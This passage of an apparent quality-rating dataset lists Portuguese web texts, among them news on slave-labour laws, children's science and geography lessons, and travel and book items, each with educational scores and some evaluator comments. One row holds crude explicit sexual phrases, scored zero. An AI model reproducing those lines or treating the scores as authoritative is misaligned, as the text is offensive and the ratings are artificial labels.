Alckmin (PSDB) de São Paulo , que prevê a cassação do registro de ICMS das empresas em todo o estado e o banimento por dez anos. O Tocantins é o segundo estado em que foram apresentados projetos de leis semelhantes ao aprovado em São Paulo. No Maranhão, a iniciativa foi do deputado estadual Bira do Pindaré (PT) . O projeto do parlamentar maranhense deve ser aprovada ainda este ano e já está sob análise da governadora Roseana Sarney (PMDB). +Questionado pela Repórter Brasil se trabalharia para aprovação da lei, de modo semelhante ao que o colega partidário Geraldo Alckmin (PSDB) fez no caso de São Paulo, o governador do Tocantins, Siqueira Campos (PSDB), informou por meio de nota divulgada por sua assessoria de imprensa que, como o projeto acabou de ser apresentado, vai aguardar ""em respeito ao parlamento"" a tramitação antes de se posicionar. O chefe do Executivo tocantinense também salienta que o estado já possui outras normas para o combate e erradicação do trabalho escravo e que ""toda ação que vise melhorar a qualidade de vida do cidadão será apreciada"". +Escravidão Dados recentes do Ministério do Trabalho e Emprego (MTE) apontam, em 2012, o Tocantins como o segundo estado do país com maior número de resgatados da escravidão contemporânea —com 321 vítimas— e também com fiscalizações sobre essa prática, com 24 ações ao todo. As atividades econômicas que concentram as principais ocorrências do uso de mão de obra escrava na unidade federativa são a pecuária bovina, a produção de carvão vegetal e o cultivo de eucalipto. ""Constatamos que há alta incidência de casos de trabalho escravo no Tocantins e é preciso lidar com este problema"", defendeu Amália Santana, em entrevista à Repórter Brasil . +Para o coordenador de combate ao trabalho escravo da Comissão Pastoral da Terra (CPT), Frei Xavier Plassat, é importante que uma iniciativa do tipo apareça em um momento em que Tocantins apresenta sucessivos casos de pessoas submetidas à escravidão. ""Se seguirmos o espírito da lei de São Paulo, a responsabilidade será não só direta, mas também indireta. Ou seja, será punido não só aquele que empregar escravos, mas também aquele que se beneficiar, com lucro, da obtenção de mercadorias produzidas nessa condição"", observa. +A ideia de cassar o registro comercial de empresas que se beneficiam de trabalho escravo tem recebido apoio das principais instituições de combate à prática. O Ministério Público do Trabalho (MPT) já se posicionou publicamente em favor da lei de São Paulo , defendendo que a proposta deve espalhar-se por outros estados. Da mesma forma,a relatora especial para as formas de escravidão contemporânea da Organização das Nações Unidas (ONU), Gulnara Shahinian, ressaltou a importância da proposta e destacou que o Brasil é o país que mais avançou na construção de mecanismos institucionais para combater o trabalho escravo em 2012. Segundo Xavier Plassat, a constatação de novas iniciativas parecidas com o objetivo reprimir economicamente a exploração de pessoas em situação análoga à de escravo deve ajudar a construir um ""ambiente favorável"" para que outros projetos, em outros estados, também se multipliquem.",original,original,original,original,4,0.8 +"Você já parou para pensar de onde vem a água que bebemos, que usamos para tomar banho e que molha as plantas? Ela não surge do nada! A água participa de uma aventura constante, um verdadeiro ciclo que se repete sem parar, chamado Ciclo da Água. Imagine a água como um super-herói que se transforma e viaja por todo o planeta! + +Primeiro, o Sol, com seu calor, aquece a água dos rios, lagos, oceanos e até mesmo a água que está no solo. Essa água se transforma em vapor, um gás invisível que sobe para o céu. Esse processo se chama evaporação. É como quando a mamãe coloca água para ferver e sai aquela fumacinha da panela! + +Lá no alto, o vapor de água encontra o ar frio e se junta, formando as nuvens. É como se o vapor se abraçasse, ficando juntinho até formar gotinhas de água bem pequenas. Esse processo é a condensação. Quando muitas gotinhas se juntam, as nuvens ficam pesadas e a água volta para a Terra em forma de chuva, neve ou granizo. É a precipitação! + +A água da chuva, da neve ou do granizo pode seguir vários caminhos. Parte dela escorre para os rios, lagos e oceanos, voltando para o início do ciclo. Outra parte é absorvida pelo solo, alimentando as plantas e os lençóis freáticos, que são como rios subterrâneos. As plantas também usam a água e a liberam para a atmosfera em forma de vapor, através de um processo chamado transpiração, parecido com quando a gente sua para se refrescar. + +E assim, a água continua sua dança, evaporando, condensando e precipitando, em um ciclo sem fim que garante a vida no nosso planeta. Sem o ciclo da água, não teríamos água para beber, as plantas não cresceriam e os animais não sobreviveriam. É por isso que é tão importante cuidar da água, evitando o desperdício e a poluição. Pense nisso da próxima vez que abrir a torneira! De onde será que veio essa água? E para onde ela vai depois? Que tal observar as nuvens no céu e imaginar a água viajando pelo ar? O ciclo da água é uma das maiores maravilhas da natureza!",Ciências,Fenômenos naturais,anos iniciais (1º ao 5º ano),"O trecho explica o ciclo da água de forma clara e acessível, utilizando analogias (super-herói, fumacinha da panela) para facilitar a compreensão, especialmente para crianças. Aborda conceitos importantes como evaporação, condensação e precipitação, e sua relevância para a vida no planeta. O texto é adequado para o ensino fundamental, estimulando a reflexão sobre a importância da água e a observação da natureza. Recebe todos os pontos.",5,1.0 +"Vê-Me usar esta máquina de barbear na minha buceta +Me fode com força na minha buceta porto-riquenho +prazer com os dedos na minha buceta +Isso nunca vai para caber na minha buceta",original,original,original,original,0,0.0 +"21.6.11 +Em alguns países islâmicos, é mais do que normal ver mulheres andando pelas ruas cobertas dos pés à cabeça. Para nós, que moramos no Brasil, o costume é quase absurdo. Provavelmente, as muçulmanas pensam o mesmo sobre as roupas que as mocinhas não usam nas praias brasileiras. +Tradições são assim: variam de país para país e acaba pegando meio mal condenar as práticas culturais de outros povos. O problema é que tem muita tradição por aí que coloca a saúde – e a vida – de pessoas em risco. Listamos alguns dos mais perigosos e malucos costumes culturais mundo afora. E nem o Brasil escapou. +1. Andar sobre brasas no dia de São João – Brasil +Enquanto uns aproveitam as festas juninas para se esbaldarem de canjica, milho e quentão, outros levam a festa religiosa muito mais a sério. Na noite de 23 de junho – véspera do dia de São João – é tradição andar sobre brasas para testar a fé. Pelo menos para os fiéis do quilombo Mato do Tição, no interior de Minas Gerais. Lá, mulheres, crianças, velhos, jovens, enfim, todo mundo caminha sobre 12 metros de brasas incandecentes à meia noite. Loucura? +O fotógrafo Francilins, autor da imagem acima, registrou a tradição no Mato do Tição por três anos e viu toda sorte de gente caminhar sobre as brasas sem se queimar. No terceiro ano, tomou coragem, correu sobre a madeira incandescente e… teve queimaduras de 1º, 2º e 3º graus nos pés. +Crianças, não tentem repetir isso em casa! +2. Mergulho de ano novo – Rússia +Mergulhar em águas geladas no Ano Novo é tradição em muitos países frios na Europa. Mas a Rússia leva o negócio a níveis extremos: mergulhadores se reúnem no Baikal, o maior lago do país e o mais profundo do mundo. Os malucos mergulham em suas águas congelantes e plantam uma árvore de natal no fundo dele. Depois, dançam ao redor da árvore. Dentro do lago. A -23ºC. Perigoso? Imagina… Mas é tradição desde 1982. Haja vodka para aplacar esse frio… +Na ilha de Chios, na Grécia, duas igrejas rivais disparam milhares de fogos de artifício uma na outra no domingo de páscoa enquanto os padres rezam suas missas lá dentro. +O objetivo da batalha é atingir a torre do sino da igreja rival, mas os fogos de artifício nem sempre acertam o alvo e os passantes têm que se esconder dos fogos para não serem atingidos. O perigo ainda assola as casas que ficam nas redondezas, que podem pegar fogo com a brincadeira. Sem falar na fumaça. Habitantes descontentes com o fogaréu se sentem ""escravos da própria tradição"", que remonta ao século XIX. +Mas fica bonito no vídeo, ó: +4. Arremesso de bebês – Índia +Em Solapur, na Índia, todos os anos, bebês são atirados do alto de uma torre de 15 metros. Não é um festival de horror, mas um ritual que já dura mais de 500 anos e que tem o objetivo de fazer os bebês crescerem mais fortes e saudáveis. Embaixo da torre, pessoas com lençóis salvam os bebês, mas isso não impede que eles tomem o maior susto de suas (ainda tão curtas) vidas. +5. Corrida do Queijo – Inglaterra +Em Glowcester, Inglaterra, todo ano, uma centena de homens correm atrás de um queijo que é atirado montanha abaixo. Segundo a tradição, o cara que conseguir chegar embaixo da montanha primeiro leva o queijo pra casa. Ainda que muitos saiam da corrida com canelas torcidas e até ossos quebrados, esta não é exatamente a tradição mais perigosa desta lista. Mas é muito, muito, muito ridícula. Comprem um queijo no supermercado, faz favor! +6. Festival Onbashira – Japão +Uma parte deste festival bianual no Japão, o Yamadashi, consiste em cortar grandes troncos de árvore, amarrá-los nos homens e descer com os troncos ladeira abaixo, montados nele. Parece fácil? Imagine ser arrastado por um pesado tronco de árvore por metros e metros. Muita gente já morreu ou pelo menos se machucou gravemente com esta tradição, mas, como é considerada um gesto de bravura, ela continua há mais de 1200 anos. +7. Bolas de Fogo – El Salvador +Atirar bolas encandecentes uns nos outros. Diversão? Em El Salvador, na cidade de Nepajo, aparentemente, sim. C...",original,original,original,original,2,0.4 +"Nos dias 27 e 28/09, a coordenação dos serviços de higienização e limpeza do Hospital Deputado Luís Eduardo Magalhães, em Mairi (BA), promoveu capacitação para as equipes de higiene e limpeza e serviço de lavanderia. +Abordando o tema ‘Qualidade nos Processos de Trabalho’, o evento ressaltou o significado da qualidade e eficiência no desenvolvimento das atividades setoriais. +A enfermeira Tatiane Fernandes (coordenadora das equipes) pontuou elementos essenciais para que o trabalho dos colaboradores alcance a qualidade desejada, tais como: planejamento, organização, administração, execução e interação. Tatiane observou também que “o ambiente de trabalho deve ser um local muito agradável, tanto pelo aspecto físico quanto pela forma como as pessoas se organizam, se relacionam e são conduzidas para alcançar os objetivos”.",original,original,original,original,2,0.4 +"A verdadeira Amazônia +Quando o tema em questão é a Amazônia sempre se levantam primeiro os estereótipos presentes no imaginário geral dos brasileiros, cuja mídia nacional é a grande responsável pela imagem que temos dessa região do país, imagem equivocada que acaba sendo legitimada por nós mesmos e reflete a visão internacional que é diariamente reforçada pelo desconhecimento do que é realmente a Amazônia brasileira. +Temos uma série de estereótipos e imagens que foram fixadas pela mídia na construção do que viria a ser a Amazônia, a floresta, os povos indígenas nativos e todos os outros povos envolvidos na formação da região. E por tudo isso a Amazônia terminou sendo para o brasileiro o que o Brasil é para o mundo, uma floresta subdesenvolvida. +Em seguida, além da mídia nacional, a indústria cinematográfica veio reforçar ainda mais esse estereótipo, com filmes que apesar de serem dirigidos muitas vezes por brasileiros, mostram uma Amazônia completamente acorde com o estereótipo de floresta selvagem, atendendo a essa visão internacional. +A responsabilidade da mídia na formação dos estereótipos +Na verdade não é correto apontar a mídia como a única responsável por tratar a Amazônia como um lugar onde a pessoa terá apenas contato com a natureza virgem, no entanto, é sempre interessante ressaltar que a mídia, falando de um modo geral, fomenta a ideia da Amazônia exótica, que acaba atraindo muito a curiosidade dos turistas, principalmente dos estrangeiros. +Por isso, convidamos você, a verificar o artigo de hoje, e descobrir como a Amazônia é linda e muito divertida a todos seus visitantes! +O crescimento do turismo na Amazônia +O governo brasileiro e as secretarias de turismo responsáveis pela divulgação das possibilidades de turismo na região, buscam estimular principalmente o fluxo de pessoas entre as capitais brasileiras e a Amazônia, ainda como parte das estratégias de integração que começaram na década de 70. Um processo que começou com um acordo firmado com um consórcio formado por arquitetos e urbanistas que se responsabilizaram pela elaboração do primeiro Plano de Turismo da Amazônia empreendido pela Embratur. O projeto de apoio ao turismo nacional e integração na Amazônia tem o objetivo de cooperar técnico-financeiramente para estabelecer as condições necessárias para propiciar tanto a elaboração como a execução de um plano de turismo para a região. Assim se constitui uma comissão para coordenar e acompanhar o plano de turismo disponibilizando os recursos financeiros necessários através da abertura de várias linhas de financiamento nacionais e internacionais para a criação de empresas e obras públicas de turismo, diversão e entretenimento. +A Amazônia como um produto turístico único no mundo +Lógico que o apoio ao exotismo da região foi idealizado para o plano de turismo na Amazônia, inclusive como sendo um produto turístico único no mundo inteiro. Objetivando o mercado europeu e norte-americano como ponto de partida, a maior floresta tropical brasileira se tornou um produto tipo exportação e o foco na integração acabou se tornando um segundo plano, já que o brasileiro demonstrou muito menos intenção e possibilidades reais de recorrer a região como turista. Nesse momento a Amazônia foi posicionada entre destinos como o Pacífico, a África e a Ásia em critérios de exotismo e beleza natural. +Os custos do turismo na Amazônia +Depois dos investimentos na rede hoteleira de Manaus, a cidade ficou posicionada como um dos lugares mais caros para viajar em comparação com outros importantes destinos brasileiros. Apesar disso, é garantido que suas férias serão inesquecíveis com as mais belas paisagens. +Uma das grandes razões que tornam a região custosa, é que parte dos alimentos e outras necessidades, chegam na Amazônia através de barcos ou aviões, elevando o preço final. +Reconstruindo a imagem da Amazônia +É muito importante que haja um discurso real sobre a Amazônia e é maravilhoso saber que os índios e outros grupos nativos já estão se mo...",original,original,original,original,3,0.6 +"Maldade +Talvez uma boa definição de maldade seja a prática de um ato em que outra pessoa é prejudicada de forma consciente. Ou seja, aquele que pratica a maldade sabe das consequências danosas do seu ato, sabe que se trata do uma ação indevida e a pratica assim mesmo. A maldade se distingue das reações agressivas a que todos nós estamos sujeitos tanto no papel ativo como passivo: quando alguém é agredido existe uma tendência natural para reagir a ela de uma forma ou de outra. A ação agressiva pode ou não ser intencional e não é raro que a reação venha a corresponder a um ato maldoso; porém, houve uma agressão que a antecedeu. +Um exemplo peculiar de reação agressiva é a inveja, não raramente maldosa: uma pessoa se compara com outra, sente-se por baixo e isso provoca uma sensação de humilhação que é vivenciada como agressão; reage a essa suposta agressão de forma sutil e desleal, tentando rebaixar ou diminuir aquele que despertou a inveja. Esse tipo de maldade pode vir a ser praticada por qualquer um de nós. +Na grande maioria dos casos de maldade, o ato é motivado pelo desejo da pessoa de obter algum benefício que não lhe é devido. Assim, uma pessoa egoísta fará o que for necessário para alcançar seus objetivos materiais, intelectuais ou sentimentais sem se preocupar com os danos que porventura venha a causar nos interlocutores. Estará agindo em defesa dos seus interesses, desprovida de sentimento de culpa e de uma forma nada empática. Não irá se incomodar com a dor provocada. Porém, não é essa sua primeira intenção; a real motivação é a de se apropriar daquele dado benefício; o dano ao outro é um desdobramento do objetivo inicial e não é fonte de satisfação e nem de dor. +Em alguns casos, o ato agressivo está claramente associado ao erotismo. Há décadas venho afirmando que o sexo, especialmente nos homens, tem importantes conexões com a agressividade, de modo que isso explica comportamentos sádicos, consentidos ou não, assim como os mais dramáticos atos eróticos relacionados com o estupro, exibicionismo, pedofilia… A associação entre sexo e agressividade pode explicar alguns comportamentos machistas, assim como algumas formas de maldade feminina – ser muito provocante para seu parceiro e, mais ou menos regularmente, rejeitar sua abordagem! A maldade nem sempre envolve violência ou apropriação indevida de objetos ou cargos. Por vezes pode se exercer de forma sutil, provocando dor psíquica, como é o caso do ato de humilhar deliberadamente outra pessoa. +Nas crianças que batem nas mais fracas ou que praticam o bullying, tenho a impressão de que o que está em jogo é a autoafirmação: a criança se avalia como mais forte ao rebaixar física ou moralmente alguma outra. Não é fácil explicar os atos violentos contra alguns animais domésticos que são objeto de maus tratos por parte de algumas poucas crianças. Alguns acham que isso indicaria a existência de algum tipo de predisposição biológica para a prática de ações agressivas e maldosas. Não estou convencido de que essa seja uma boa explicação. Sim, porque se houver uma predisposição para a maldade, aquele que a pratica não pode ser responsabilizado; estará ""apenas"" exercendo sua natureza (segundo o dicionário de filosofia de Comte-Sponville)! Talvez seja mais uma manifestação do tipo da autoafirmação, especialmente se estiver sendo exercida diante de outras crianças. Seria também uma exibição de coragem, de ""sangue frio"", de ser mais competente para o exercício da violência. +É mais ou menos nessa linha que acredito que se possa explicar certas condutas que parecem exclusivamente maldosas, desprovidas de benefício para quem a pratica, próprias dos psicopatas. Sendo pessoas destemidas, muitos gostam de se exibir como mais ousados para executar qualquer ato violento. Isso pode parecer gratuito, mas está a serviço da vaidade, de se sentir superior aos outros membros do grupo a que pertence. A vaidade consiste no prazer (erótico) relacionado ao ato de se destacar; e num grupo de marginais, tal...",original,original,original,original,4,0.8 +"Olá, pequenos exploradores! Já pararam para pensar em como o Brasil é um país gigante e cheio de pessoas diferentes? Cada um de nós tem uma história, um jeito de ser e costumes que vêm de diferentes lugares. Isso faz com que a nossa cultura seja tão rica e especial! + +Imagine que o Brasil é como uma grande sala de aula, onde cada aluno representa um pedacinho do nosso país. Alguns vieram de famílias que moram aqui há muito tempo, desde os tempos dos índios, os primeiros habitantes. Outros vieram de terras distantes, como a África, a Europa e a Ásia, trazendo consigo suas tradições, comidas e músicas. Tudo isso se misturou e formou o Brasil que conhecemos hoje. + +Nossas cidades são como um grande mosaico, onde cada peça tem a sua importância. Em algumas, a gente ouve mais o som do samba e vê pessoas dançando alegremente nas ruas, como no Rio de Janeiro. Em outras, a culinária é mais forte, com pratos deliciosos como o acarajé na Bahia. E no Sul, o chimarrão e o churrasco são paixões que vêm de longe. + +As famílias brasileiras também são muito diferentes umas das outras. Algumas são grandes, com muitos tios, primos e avós. Outras são menores, com apenas o papai, a mamãe e os filhos. Mas todas têm algo em comum: o amor e o cuidado que unem as pessoas. + +E as brincadeiras? Ah, elas também mudam de região para região! No Norte, as crianças adoram brincar de roda e de esconde-esconde. No Nordeste, a capoeira é uma arte que mistura luta e dança. E no Sudeste, o futebol é uma paixão nacional que une a todos. Cada brincadeira é uma forma de aprender e se divertir, mostrando um pouco da cultura de cada lugar. + +Então, da próxima vez que você encontrar alguém diferente de você, lembre-se que essa pessoa tem uma história e uma cultura que merecem ser conhecidas e respeitadas. Afinal, é essa diversidade que torna o nosso Brasil tão especial! Que tal perguntar para seus pais ou avós sobre a história da sua família? De onde eles vieram? Quais são os costumes que eles trouxeram para a sua casa? Descobrir as nossas origens é uma forma de valorizar a nossa cultura e construir um futuro ainda mais bonito e acolhedor para todos nós. E você, o que faz para manter viva a cultura do nosso país?",Geografia,População e cultura,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, sendo adequado para os anos iniciais do ensino fundamental. Introduz o conceito de diversidade cultural no Brasil de forma acessível e envolvente, utilizando exemplos do cotidiano das crianças. A linguagem é clara e o conteúdo é relevante para o currículo escolar, incentivando a valorização da cultura brasileira e o respeito às diferenças. Apresenta elementos que o assemelham a um capítulo introdutório de um livro didático.",5,1.0 +"O despertar para uma vida a dois se anuncia...e com a vontade que cresce a cada dia, saudamos a todos a chegada deste dia.",original,original,original,original,1,0.2 +"Localizado no município de Jaguarão, próximo à fronteira com o Uruguai, o Quilombo Madeira reúne 60 famílias em uma área de 40 hectares. A comunidade teve sua origem no século XIX, quando negros vindos do país vizinho foram viver na região. Essa questão aponta para as especificidades dos quilombos da fronteira, marcados pelo trânsito de escravos fugidos do Brasil para o Uruguai e pela vinda ou retorno de negros deste país para o Brasil. O tamanho reduzido das terras e a diminuição da oferta de trabalho no campo com a mecanização das atividades agrícolas faz com que a maioria das famílias que hoje residem o quilombo tenham que buscar trabalho na cidade, onde passam a maior parte da semana.",original,original,original,original,4,0.8 +"Linux University - Soluções e Treinamentos em TI +HomeCurso Introdução Linux OnlineCurso LPI 101 Online / Simulado grátisLPI 102Aulas GrátisSites AmigosContatoBlog Downloads +Faça o Download do Ubuntu 11.10 Oneiric Ocelot Aqui ! Receba novidades: +O sistema Linux está presente no nosso dia a dia, seja nos servidores ou mesmo nos computadores pessoais. Esta decisão pelo Linux geralmente ocorre por ele ser livre e mais seguro que outros sistemas, ou seja, o sucesso do Linux é resultado de sua estabilidade e confiabilidade. +Todo este sucesso gerou uma enorme demanda de profissionais qualificados, porém como são poucos profissionais preparados, os salários aumentaram. +É a sua chance de realmente dominar o sistema Linux, pois a Linux University é especialista na formação de profissionais que desejam obter a certicação LPI e trabalhar com o Linux. Também temos o curso ideal para você que deseja utilizar o Linux em seu computador pessoal, porém não está familiarizado com este sistema. +Nossos cursos são Online, ou seja, você pode programar seus estudos da maneira que preferir, o conteúdo estará disponível 24 horas por dia. +Este curso é baseado no Ubuntu e é direcionado a iniciantes. Tem como objetivo explicar a instalação, modo live, dual boot, configurações, personalização da área gráfica e como usar as principais aplicações. +O curso é totalmente online, ou seja, você pode fazer as aulas no horário que desejar. Saiba Mais... +Veja o depoimento do Igor Michael: +""O curso é para quem quer descobrir o Linux, mas ainda tem medo de sair do Windows, ele usa a interface grafica em todas as aulas, de modo fácil, para que o aluno não se assuste. O curso foi bom, acrescentei algumas coisas ao que já sabia, e outras que tinha dificuldade. Pra quem saiu do Windows a 1 mês foi um bom começo."" +Você já imaginou como seria tirar a Certificação LPI estudando de casa ? +Isso já é possível através do Curso LPI ! +É um curso totalmente online, ou seja, você pode organizar os seus estudos da forma que desejar, o conteúdo fica disponível 24 horas por dia. +Veja o depoimento do Marcelo Miranda: +""Caros membros da equipe linuxuniversity, eu venho aqui agradecer e deixar registrado a minha satisfação por ter feito o curso online preparatório para prova LPI 101, após um longo período de estudos com todo esse material de qualidade que recebi de vocês, fui aprovado na prova LPI, graças ao conteudo de vocês hoje eu tenho mais um diferencial profissional, o conteudo do curso foi indispensável para minha aprovação, e além de ter passado na prova, o curso me tornou muito mais conhecedor do linux e consequetemente um profissional mais maduro. Obrigado a todos."" +Marcelo Miranda - NITEROI / RJ +Copyright © Linux University - Todos os direitos reservados",original,original,original,original,3,0.6 +"Desculpe, o operador não está on-line no momento. Por favor, tente mais tarde ou preencha o formulário abaixo.",original,original,original,original,0,0.0 +"O Dia de Reis tem uma origem cristã e segundo a tradição, é o dia em que Jesus Cristo recebeu a visita de três Reis Magos – Gaspar, Baltasar e Belchior. +Eles sabiam que um dia ia nascer um Menino muito especial e que nesse dia ia aparecer no céu uma estrela muito brilhante e, como conta a lenda, assim foi. Depois do nascimento do menino Jesus, o Reis Magos seguiram uma estrela que os guiou até Belém, onde estava o menino Jesus com a sua família.",original,original,original,original,3,0.6 +"FNQ - Proprietário rural mapeia processos e promove melhorias na gestão de seu negócio +A Fazenda Padre Cícero fica a 200 km de Maceió, na pequena cidade de Cacimbinhas, em Alagoas, e foi uma das reconhecidas do Prêmio MPE Brasil 2015, na categoria Agronegócio. A propriedade conquistou o reconhecimento nacional pela qualidade da sua gestão. “Estou emocionado porque um pequeno agricultor de Alagoas, como eu, conquistou esse prêmio. Peço para aqueles que não chegaram onde estou que não desistam. Lutar sempre, desistir jamais”, celebrou o proprietário, Nemoênio Barbosa da Silva, ao receber o troféu. +O bom desempenho aconteceu em função das melhorias de suas práticas de gestão, tanto relacionadas à propriedade quanto ao manejo do gado. Com apenas dois funcionários, a fazenda conseguiu ampliar a produção e tornar-se uma referência na região. +A propriedade dedica-se à criação de gado leiteiro e foi fundada em 1990. O caminho rumo à excelência iniciou quando a Fazenda Padre Cícero ingressou no Programa Balde Cheio, da Empresa Brasileira de Pesquisa Agropecuária (Embrapa), no ano de 2012. +Com a participação no programa, a fazenda conseguiu atualizar as formas de manejo, passando a exercer maior controle sobre os dados econômicos e zootécnicos da propriedade. +Dentre as várias ações adotadas para melhorar sua gestão, destaca-se a Dias de Campo, que é quando a fazenda recebe produtores interessados em conhecer seus sistemas de trabalho. Dessa forma, Nemoênio também consegue ampliar os seus negócios. +Como toda organização que busca evoluir, a propriedade rural também mapeou seus principais processos (entrega e qualidade do leite, ordenha, alimentação dos animais, reprodução e controle sanitário) e os registrou em manuais de gestão da fazenda, que são disseminados entre seus funcionários. +Outro ponto importante para o sucesso é a atenção dada à alimentação do rebanho, com o plantio de palma forrageira e a produção de silagem de milho e sorgo para alimentar os animais durante os períodos de estiagem. +Além disso, a propriedade também otimizou suas técnicas sanitárias e de ordenha e implementou a sombra artificial (sombrite), possibilitando maior conforto aos animais. +De acordo com o proprietário da fazenda, o reconhecimento nacional só foi possível graças ao seu trabalho e às parcerias que firmou. “Estou bastante orgulhoso. Lá em Cacimbinhas, cheguei a ouvir que eu não tinha capacidade de ganhar o prêmio por competir com fazendas do Sul do País. Mas eu acreditei, fui lá e ganhei. A gente sempre trabalha buscando dias melhores. Nós não vamos parar. Agora, é olhar para frente e trabalhar ainda mais”.",original,original,original,original,2,0.4 +"Olá, exploradores do conhecimento! Já pararam para pensar na imensidão do nosso Brasil? Um país gigante, cheio de cores, sabores e culturas diferentes! Hoje, vamos embarcar em uma aventura para desvendar um pouco mais sobre os estados e regiões que formam essa terra tão rica. + +Imagine o Brasil como um grande quebra-cabeça, onde cada peça representa um estado. Cada um deles possui sua própria história, costumes e paisagens. Para facilitar o estudo e a organização desse território tão vasto, os geógrafos dividiram o Brasil em cinco grandes regiões: Norte, Nordeste, Centro-Oeste, Sudeste e Sul. + +Cada região tem suas características marcantes. A Região Norte, por exemplo, abriga a Floresta Amazônica, o maior tesouro natural do planeta. Já o Nordeste encanta com suas praias paradisíacas e a alegria contagiante do seu povo. No Centro-Oeste, encontramos o Pantanal, um paraíso da biodiversidade, e a capital do país, Brasília. A Região Sudeste, com suas grandes cidades como São Paulo e Rio de Janeiro, pulsa com a economia e a cultura. E, finalmente, a Região Sul, com suas paisagens europeias e a forte influência da imigração, completa o nosso mosaico. + +Mas por que essa divisão é importante? Bem, ao agrupar os estados em regiões, podemos entender melhor as características em comum entre eles, como o clima, a vegetação, a economia e os aspectos culturais. Por exemplo, muitos estados do Nordeste sofrem com a seca, enquanto os estados do Sul têm invernos rigorosos. Compreender essas diferenças nos ajuda a encontrar soluções para os problemas e a valorizar as potencialidades de cada região. + +Além disso, conhecer os estados e regiões do Brasil nos ajuda a entender a nossa identidade como brasileiros. Afinal, somos um povo miscigenado, com influências indígenas, africanas, europeias e asiáticas. Cada região contribui com sua culinária, música, dança e festas para a formação da nossa cultura. Já experimentaram um acarajé baiano, um churrasco gaúcho ou um tacacá amazônico? Cada prato conta uma história e revela um pouco da alma brasileira. + +Para finalizarmos nossa viagem, que tal pensarmos um pouco sobre o lugar onde vivemos? Em qual estado e região você mora? Quais são as características que tornam sua região única? Quais são os desafios e as oportunidades que ela oferece? Conhecer o nosso Brasil é um passo fundamental para construirmos um futuro mais justo e igualitário para todos. Afinal, somos todos brasileiros, parte de um país gigante e cheio de possibilidades!",Geografia,Estados e regiões do Brasil,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, adequado para o Ensino Fundamental. Introduz o conceito das regiões do Brasil de forma clara e convidativa, estimulando o interesse dos alunos. Aborda aspectos geográficos, culturais e econômicos, promovendo a compreensão da diversidade brasileira e incentivando a reflexão sobre a identidade nacional e os desafios regionais. A linguagem é acessível e o conteúdo é relevante para o currículo escolar, embora possa ser complementado com informações mais detalhadas.",5,1.0 +"Após a notícia maravilhosa de que a Netflix havia disponibilizado a função para assistir conteúdo offline, não tinha como o dia melhorar, certo? +A autora Jéssica Macedo divulgou a capa completa de seu livro, Do Sangue ao Desejo, a qual você pode conferir abaixo. Do Sangue ao Desejo é o primeiro livro da trilogia Desejos Sombrios. +Ele é um predador, um lobo em pele de cordeiro. No entanto, ela não é uma presa como as demais mulheres, e para conquistá-la precisará de mais do que o seu poder de sedução. +Contudo, Dária, assim como Aron, não é humana; possui um passado igualmente sombrio e um ódio particular contra os homens. Dobrá-la aos seus desejos exigirá dele mais do que um toque e poucas palavras. +O que acharam da capa e da sinopse? Gostaram? +Finalmente! Após meses de rumores, a Netflix liberou uma função para que os usuários de Android e iOS possam acompanhar seu conteúdo offline. O anúncio foi feito via Twitter. Confira: +Há alguns dias, a internet veio abaixo com o teaser de Carros 3, onde Relâmpago McQueen, carinhosamente chamado de Relâmpago Marquinhos, capota durante uma corrida. E aqui estamos nós, fazendo várias especulações sobre o que, de fato, aconteceu com ele. Para alegria dos fãs, ou talvez para deixar-nos ainda mais aflitos, a Walt Disney Studios divulgou o pôster do filme, o qual você pode conferir abaixo. Carros 3 estreia em 3 de julho de 2017. +E, mais uma vez, fui surpreendido. Spohr conseguiu criar uma história fantástica, com reviravoltas impressionantes. Herdeiros de Atlântida foi muito bom, mas meus amigos, Anjos da Morte é uma lenda. Acho improvável que eu tenha gostado tanto de outro livro como gostei dele. Se você acha que já tinha mais perguntas do que respostas no primeiro livro, isso piora no segundo, pois conhecemos um pouco mais do passado de Denyel. Ao mesmo tempo, no presente, Kaira continua sua missão. +Como sempre, a resenha contém alguns spoilers. Prossiga por sua conta e risco. +Emanuelle Fernandes é funcionária da Empresa BioFort. Aos 25 anos teve que trancar a faculdade de Direito para poder manter o emprego, já que havia sido mudada de turno, pois o vice presidente da empresa queria dobrar a produção. Por não poder abrir mão do salário, ela aceitou adiar o sonho por mais um tempo. +Bernardo Salles é o vice presidente da empresa de biodiesel BioFort. Em reunião com os acionistas, fica acertado que Bernardo terá que trabalhar por duas semanas na empresa, sem ser reconhecido, tornando-se o funcionário Vicente da Silva. +O que era pra ser só uma pesquisa de satisfação por parte dos funcionários, acaba tomando outros rumos. Emanuelle odeia o chefe, mas adora Vicente. Vicente adora Emanuelle, mas não pode contar que é o Bernardo. +Venha comigo e descubra as verdades por trás desse chefe secreto. +A editora Intrínseca fez uma lista marota com 5 curiosidades sobre A Química, novo livro de Stephenie Meyer, a autora da saga Crepúsculo, e o livro parece ser bem diferente do que a autora já escreveu. +3 - Um dos hábitos que a autora mantém desde que começou a escrever a série Crepúsculo é escrever de madrugada. Stephenie trabalhava em A Química entre 21h e 3h. É, acho que não sou o único escritor com hábitos noturnos. +4 - A autora precisou de uma consultoria bem incomum: matar e ferir pessoas de formas criativas. Em suas entrevistas, Meyer diz que se seu histórico de buscas no Google fosse investigado, ela provavelmente estaria atrás das grades. Para facilitar o trabalho, entrou em contato com diversos especialistas em campos como criminologia e bioquímica. +5 - Ao ser perguntada sobre novos projetos, a autora tem notícias desagradáveis para aqueles que ainda esperam por Midnight Sun: ela não pretende voltar ao universo de vampiros e lobisomens tão cedo. Uma das ideias que ela considera após A Química é escrever um livro de fantasia épica, em um mundo de trevas e magia. +Confesso que estou ansioso para o livro. Só após lê-lo é que terei uma opinião formada sobre o que esperar de uma fantasia épica criada por ...",original,original,original,original,2,0.4 +"INFEÇÕES TRANSMITIDAS PELO SEXO (IST): SINAIS Leia esta DICAinformativa para conhecer os sinais que podem indicar infeções que são transmitidas nas relações sexuais +PNEUMONIA NOS + VELHOS : Sinais da doença e como se proteger! DICAinformativa que explica os sinais de uma pneumonia, o perigo para a saúde das pessoas + velhas e como se prevenir. +Saúde oral dos Idosos Orientações para que as pessoas mais velhas tenham uma boca saudável (cuidados com a higiene da boca, dentes, próteses etc) , Portugal +Manual de auto ajuda para pessoas mais velhas com doenças reumáticas Um manual que informa as pessoas mais velhas sobre as doenças reumáticas e como podem prevenir o seu agravamento , Portugal",original,original,original,original,2,0.4 +"Neste artigo, vou guiá-lo passo a passo através do processo de criação da sua própria versão deste programa. O código fonte completo dos exemplos serão 